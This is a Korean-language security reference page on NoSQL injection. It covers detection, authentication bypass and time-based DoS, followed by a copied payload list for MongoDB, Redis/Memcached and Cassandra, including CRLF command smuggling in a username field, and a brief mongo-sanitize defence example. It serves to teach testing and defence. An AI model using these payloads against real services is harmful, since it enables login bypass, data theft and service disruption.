Introduction
NoSQL Injection은 SQL을 사용하는 것으로 알려진 DBMS를 제외한 나머지 Database에 대한 Injection 공격입니다. 일반적으로 NoSQL 데이터베이스는 기존 SQL 데이터베이스보다 consistency check가 느슨합니다. NoSQL 데이터베이스는 relational constraints와 consistency check를 덜 요구하기 때문에 성능이나 확장에서의 이점이 큽지만 SQL 문법이 아닌 각각의 시스템의 쿼리 문법 등에 대한 Injection 공격은 동일하게 영향을 받습니다.
NoSQL: Not only SQL, Non-Relational Operational Database
그래서 대상이 굉장히 많은데, MongoDB 같은 Document Store 부터 Hadoop, Cassandra 등 Wide Column Store 그리고 Redis 같은 Key Value / Tuple Store 까지 많은 시스템이 대상이 됩니다. NoSQL 서비스의 리스트는 아래 링크에서 확인해주세요.
- https://hostingdata.co.uk/nosql-database/
Offensive techniques
Detect
확인할 수 있는 방법은 SQL Injection과 동일합니다. NoSQL에서 사용하는 문법이나 키워드 등을 이용하여 백엔드에 어떤 NoSQL이 연동되어 있는지 추측하고, 이를 기반으로 개발자가 의도한 쿼리를 벗어나도록 공격 구문을 만들어 수행할 수 있습니다.
Boolean-based
가장 대표적인 예시는 MongoDB에서 $ne(not equal), $gt(greater) 등을 이용하여 참/거짓을 유도하는 방법입니다. 만약 아래와 같은 로그인 요청이 있다고 가정한다면 이렇게 테스트해볼 수 있습니다.
POST /login HTTP/1.1
{"username": "userid", "password": "password"}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
위 케이스들을 풀어서보면 {"username": {"$ne": null}, "password": {"$ne": null}}
기준으론 username이 null이 아니거나, password가 null이 아닌 경우로 MongoDB로 전달되고, MongoDB는 데이터 내 두 조건을 만족하는지 체크하고 통과시키기 때문에 만족되어 로그인에 성공하게 됩니다.
Time-based
sleep() 구문같이 딜레이를 지원하는 NoSQL의 경우 이러한 구문을 이용하여 Response가 도착하는 시간을 계산하여 Blind로도 식별할 수 있습니다. 다만 이러한 방식은 RCE와 혼동이 될 수 있기 때문에 만약 Blind NoSQL Injection을 찾았다면 RCE나 다른 취약점의 여부를 같이 체크하는 것이 좋습니다.
GET /findUser?userName=abcd';%20sleep(4000)'
Exploitation
SQL Injection과 마찬가지로 공격을 통해 NoSQL 구문을 통제할 수 있습니다. NoSQL이 서비스에 사용되는 부분에 따라서 인증 우회나 중요정보 탈취, 캐시 데이터 탈취 등으로 이어질 수 있습니다.
Bypass Authentication
{
"username": "admin",
"password": {
"$ne": "hitttt"
}
}
DoS
Source
Db.collection.find({
$where: function(){
Return (this.name == $userInput)
}
}
);
Attack
'; sleep(4000)'
More
위에서 이야기드렸듯이 NoSQL이 연동된 구간에 따라서 영향력은 넓은 범위로 확장될 수 있습니다. 기본적으론 해당 NoSQL 시스템에 대한 CRUD(Creat/Read/Update/Delete), 그리고 시스템에서 제공하는 기능에 따라서 서비스에 문제를 만들거나 시스템 탈취까지 이어질 수 있습니다.
Payload of Targets
MongoDB
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
{"$gt": ""}
[$ne]=1
';sleep(5000);
';sleep(5000);'
';sleep(5000);+'
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
Memcached/Redis
Set key
{
"username": "admin\r\nset injected 0 3600 10\r\n123456789012345678901234567890\r\n",
"password": "test"
}
Confused Key
{
"username": {
"admin",
"super-admin"
}
"password": "test"
}
Cassandra
Bypass Login
{
"username": "admin' ALLOW FILTERING; %00",
"password": "test"
}
{
"username": "admin'/*",
"password": "*/and pass>"
}
Defensive techniques
SQL Injection과 동일하게 사용자로부터 전달받는 값은 신뢰하지 않아야합니다. 그래서 사용자 입력 값을 그대로 NoSQL에 처리하는 경우 sanitize나 nosql에 대한 protection 로직을 수행한 후 값을 넘겨줘야 합니다.
var sanitize = require('mongo-sanitize');
app.post('/user', function (req, res) {
var query = {
username: sanitize(req.body.username),
password: sanitize(req.body.password)
}
db.collection('users').findOne(query, function (err, user) {
console.log(user);
});
});
Tools
- ZAP - ActiveScan Alpha Rule(NoSQL Injection - MongoDB)
- Burpsuite - NoSQLi Scanner
- https://github.com/codingo/NoSQLMap
- https://github.com/digininja/nosqlilab
Articles
- https://www.hahwul.com/2016/01/12/web-hacking-nosql-injection-mongodb/
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection